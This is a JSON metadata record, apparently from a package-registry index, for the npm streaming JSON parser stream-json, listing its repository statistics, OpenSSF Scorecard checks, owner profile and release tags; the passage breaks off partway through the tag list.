{"id":2405389,"name":"stream-json","ecosystem":"npm","description":"A micro-library of stream components for building custom JSON and JSONC processing pipelines with a minimal memory footprint — parse, filter, and transform JSON far larger than available memory with a SAX-inspired token API, on Node.js or Web Streams.","homepage":"https://github.com/uhop/stream-json#readme","licenses":"BSD-3-Clause","normalized_licenses":["BSD-3-Clause"],"repository_url":"https://github.com/uhop/stream-json","keywords_array":["json","json-parser","parser","stream","streaming","streaming-json","sax","tokenizer","pipeline","filter","jsonc","web-streams","large-files","memory-efficient","nodejs"],"namespace":null,"versions_count":57,"first_release_published_at":"2013-08-11T02:30:31.358Z","latest_release_published_at":"2026-09-19T23:38:08.193Z","latest_release_number":"3.7.0","last_synced_at":"2026-10-19T07:31:16.188Z","created_at":"2022-04-10T01:19:51.877Z","updated_at":"2026-10-19T07:31:16.189Z","registry_url":"https://www.npmjs.com/package/stream-json","install_command":"npm install stream-json","documentation_url":null,"metadata":{"funding":"https://github.com/sponsors/uhop","dist-tags":{"latest":"3.7.0"},"contentPolicy":null},"repo_metadata":{"id":9997120,"uuid":"12029945","full_name":"uhop/stream-json","owner":"uhop","description":"A micro-library of stream components for building custom JSON and JSONC processing pipelines with a minimal memory footprint — parse, filter, and transform JSON far larger than available memory with a SAX-inspired token API, on Node.js or Web Streams.","archived":false,"fork":false,"pushed_at":"2026-10-02T03:22:51.000Z","size":1749,"stargazers_count":1205,"open_issues_count":2,"forks_count":55,"subscribers_count":12,"default_branch":"master","last_synced_at":"2026-10-17T04:51:35.296Z","etag":null,"topics":["filter","json","json-parser","jsonc","large-files","memory-efficient","nodejs","parser","pipeline","sax","stream","streaming","streaming-json","tokenizer","web-streams"],"latest_commit_sha":null,"homepage":"","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"bsd-3-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/uhop.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","accessibility":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","claude":"CLAUDE.md","gemini":null,"cursor":null,"copilot":".github/copilot-instructions.md","dco":null,"cla":null,"disclosure":null},"funding":{"github":"uhop","buy_me_a_coffee":"uhop"}},"created_at":"2013-08-11T02:17:41.000Z","updated_at":"2026-10-13T02:09:10.000Z","dependencies_parsed_at":"2026-10-08T21:41:32.812Z","dependency_job_id":null,"html_url":"https://github.com/uhop/stream-json","commit_stats":{"total_commits":345,"total_committers":13,"mean_commits":26.53846153846154,"dds":"0.24927536231884062","last_synced_commit":"6b8ac553be30fa9ffaeb24256f728903b8c69a11"},"previous_names":[],"tags_count":58,"template":false,"template_full_name":null,"purl":"pkg:github/uhop/stream-json","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/uhop","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/sbom","scorecard":{"id":907414,"data":{"date":"2025-08-11","repo":{"name":"github.com/uhop/stream-json","commit":"07f034a64e080115cc227124a35f393ab401fb97"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.6,"checks":[{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"SAST","score":0,"reason":"no SAST tool detected","details":["Warn: no pull requests merged into dev branch"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/tests.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Code-Review","score":0,"reason":"Found 0/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":3,"reason":"dependency not pinned by hash detected -- score normalized to 3","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests.yml:20: update your workflow using https://app.stepsecurity.io/secureworkflow/uhop/stream-json/tests.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests.yml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/uhop/stream-json/tests.yml/master?enable=pin","Info:   0 out of   2 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   1 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":9,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Warn: project license file does not contain an FSF or OSI license."],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-24T17:50:07.392Z","repository_id":9997120,"created_at":"2025-08-24T17:50:07.392Z","updated_at":"2025-08-24T17:50:07.392Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":344872684,"owners_count":38335740,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-17T02:00:06.547Z","response_time":57,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"uhop","name":"Eugene Lazutkin","uuid":"37966","kind":"user","description":"","email":"eugene@lazutkin.com","website":"https://www.lazutkin.com/","location":"Plano, TX","twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/37966?v=4","repositories_count":81,"last_synced_at":"2026-10-10T14:34:31.863Z","metadata":{"has_sponsors_listing":true,"funding":null},"html_url":"https://github.com/uhop","funding_links":["https://github.com/sponsors/uhop"],"total_stars":2274,"followers":145,"following":27,"created_at":"2022-11-02T16:34:51.836Z","updated_at":"2026-10-10T14:34:31.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/uhop","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/uhop/repositories"},"tags":[{"name":"3.7.0","sha":"ac4a46dc67bfaccf1482e45f22832d1287c7c270","kind":"commit","published_at":"2026-09-19T23:35:07.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/3.7.0","html_url":"https://github.com/uhop/stream-json/releases/tag/3.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@3.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/3.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/3.7.0/manifests"},{"name":"3.6.0","sha":"77a49460ed92e2f1843fb52305da739e0ef368cc","kind":"commit","published_at":"2026-08-28T05:40:11.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/3.6.0","html_url":"https://github.com/uhop/stream-json/releases/tag/3.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@3.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/3.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/3.6.0/manifests"},{"name":"3.5.0","sha":"4b41d269a35bc96334e84baec7f420ef8c344ba6","kind":"commit","published_at":"2026-07-07T00:31:34.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/3.5.0","html_url":"https://github.com/uhop/stream-json/releases/tag/3.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@3.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/3.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/3.5.0/manifests"},{"name":"3.4.0","sha":"d7317a8ec5c274d303735ac8add1dab4ae17c7a9","kind":"commit","published_at":"2026-06-08T03:52:17.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/3.4.0","html_url":"https://github.com/uhop/stream-json/releases/tag/3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/3.4.0/manifests"},{"name":"3.3.0","sha":"64bebf86f3c4979bde4e81394f6ca60afe37dea5","kind":"commit","published_at":"2026-05-29T18:56:10.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/3.3.0","html_url":"https://github.com/uhop/stream-json/releases/tag/3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/3.3.0/manifests"},{"name":"3.2.0","sha":"5e57a2da2ed1cd5969709d5d02d5862fffb33902","kind":"commit","published_at":"2026-05-27T19:52:57.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/3.2.0","html_url":"https://github.com/uhop/stream-json/releases/tag/3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/3.2.0/manifests"},{"name":"3.1.0","sha":"f34dc7a8d03ce01809b63fb196ed7c73ce7b16d2","kind":"commit","published_at":"2026-05-23T01:46:16.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/3.1.0","html_url":"https://github.com/uhop/stream-json/releases/tag/3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/3.1.0/manifests"},{"name":"3.0.0","sha":"56876e93a0c55df87ff839f988b3e29d9ff2f762","kind":"commit","published_at":"2026-05-21T22:47:05.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/3.0.0","html_url":"https://github.com/uhop/stream-json/releases/tag/3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/3.0.0/manifests"},{"name":"2.1.0","sha":"293c6667c9c260ab2657aa248e9ea6a7dea1fd33","kind":"commit","published_at":"2026-03-31T03:55:32.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/2.1.0","html_url":"https://github.com/uhop/stream-json/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/2.1.0/manifests"},{"name":"2.0.0","sha":"fe397156c1cdcbfe95fba2d8b166470e1f2ccaf9","kind":"commit","published_at":"2026-03-19T20:27:05.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/2.0.0","html_url":"https://github.com/uhop/stream-json/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/2.0.0/manifests"},{"name":"1.9.1","sha":"ebdc700a56e5eddec382466b8e6aeaf869b8a217","kind":"commit","published_at":"2024-11-12T16:56:01.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/1.9.1","html_url":"https://github.com/uhop/stream-json/releases/tag/1.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@1.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.9.1/manifests"},{"name":"1.9.0","sha":"2f8d14080c5663964cbe465556eaf8acd50ba2bd","kind":"commit","published_at":"2024-10-23T05:41:56.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/1.9.0","html_url":"https://github.com/uhop/stream-json/releases/tag/1.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@1.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.9.0/manifests"},{"name":"1.8.0","sha":"2c0ec7308ec434511db568196b9bb3450213d7a1","kind":"commit","published_at":"2023-05-30T17:40:33.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/1.8.0","html_url":"https://github.com/uhop/stream-json/releases/tag/1.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@1.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.8.0/manifests"},{"name":"1.7.5","sha":"ac8c975dcf3d584abe1b9bc20658a22b409d4f5a","kind":"commit","published_at":"2022-11-23T22:16:01.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/1.7.5","html_url":"https://github.com/uhop/stream-json/releases/tag/1.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@1.7.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.7.5/manifests"},{"name":"1.7.4","sha":"1897010b38b82898c1f63ca38109cc780e4adda5","kind":"commit","published_at":"2022-02-17T23:53:46.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/1.7.4","html_url":"https://github.com/uhop/stream-json/releases/tag/1.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@1.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.7.4/manifests"},{"name":"1.7.3","sha":"4dbd8e9d150758c6e424a3bb73f0504cb687ece4","kind":"commit","published_at":"2021-09-14T04:06:03.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/1.7.3","html_url":"https://github.com/uhop/stream-json/releases/tag/1.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@1.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.7.3/manifests"},{"name":"1.7.2","sha":"483ecd4ab958d2bc5d5e9dd4401ac72b8387202e","kind":"commit","published_at":"2021-07-04T03:08:58.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/1.7.2","html_url":"https://github.com/uhop/stream-json/releases/tag/1.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@1.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.7.2/manifests"},{"name":"1.7.1","sha":"788bebd6a66ebb1a1ae615f3fa218303025f1069","kind":"commit","published_at":"2020-08-18T05:07:32.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/1.7.1","html_url":"https://github.com/uhop/stream-json/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"5692f296955a66565d8e29b9887c10a58155bfea","kind":"commit","published_at":"2020-07-11T22:26:58.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/1.7.0","html_url":"https://github.com/uhop/stream-json/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.7.0/manifests"},{"name":"1.6.1","sha":"d9e6bf56ed79769e1e1ee8f3897da90455032ff3","kind":"commit","published_at":"2020-07-10T16:52:27.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/1.6.1","html_url":"https://github.com/uhop/stream-json/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"2b262bc42536f66846977fe75f2a3c96ab3b413e","kind":"commit","published_at":"2020-07-10T04:24:02.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/1.6.0","html_url":"https://github.com/uhop/stream-json/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.6.0/manifests"},{"name":"1.5.0","sha":"5b8ce8f2266c836d50f8439147b3801e68167c25","kind":"commit","published_at":"2020-04-27T04:03:51.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/1.5.0","html_url":"https://github.com/uhop/stream-json/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.5.0/manifests"},{"name":"1.4.1","sha":"43fa2d4db38ec002ea3b902da97a7b4d0bfbfe92","kind":"commit","published_at":"2020-04-26T01:19:13.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/1.4.1","html_url":"https://github.com/uhop/stream-json/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"bf86e6efacac4dadb12a862ca7e6bf31a2e33959","kind":"commit","published_at":"2020-04-26T01:03:11.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/1.4.0","html_url":"https://github.com/uhop/stream-json/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.4.0/manifests"},{"name":"1.3.3","sha":"496d730fbc6b369bb7e78c50b3e111da269840b4","kind":"commit","published_at":"2020-01-21T01:27:19.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/1.3.3","html_url":"https://github.com/uhop/stream-json/releases/tag/1.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@1.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.3.3/manifests"},{"name":"1.3.2","sha":"ab463181a40ea8de0ccc9917a077b00e5097a364","kind":"commit","published_at":"2020-01-08T03:14:30.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/1.3.2","html_url":"https://github.com/uhop/stream-json/releases/tag/1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.3.2/manifests"},{"name":"1.3.1","sha":"6550ecf24007d78f16aebb86eb0f4231939149a3","kind":"commit","published_at":"2019-09-02T04:57:16.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/1.3.1","html_url":"https://github.com/uhop/stream-json/releases/tag/1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.3.1/manifests"},{"name":"1.3.0","sha":"973bd0bab87039bb7d229e652b5df79c1de59ca3","kind":"commit","published_at":"2019-06-16T23:04:10.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/1.3.0","html_url":"https://github.com/uhop/stream-json/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.3.0/manifests"},{"name":"1.2.1","sha":"ae2d212ee3ff46056930b5119b395379844335ea","kind":"commit","published_at":"2019-03-14T23:32:47.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/1.2.1","html_url":"https://github.com/uhop/stream-json/releases/tag/1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.2.1/manifests"},{"name":"1.2.0","sha":"92255737ee5a6fd1ad56b3e403424e0ede6afc66","kind":"commit","published_at":"2019-03-13T06:16:41.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/1.2.0","html_url":"https://github.com/uhop/stream-json/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.2.0/manifests"},{"name":"1.1.4","sha":"20c3b1eac6e14d5c5752705dd85630171de6bd32","kind":"commit","published_at":"2018-12-16T00:17:40.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/1.1.4","html_url":"https://github.com/uhop/stream-json/releases/tag/1.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@1.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/rep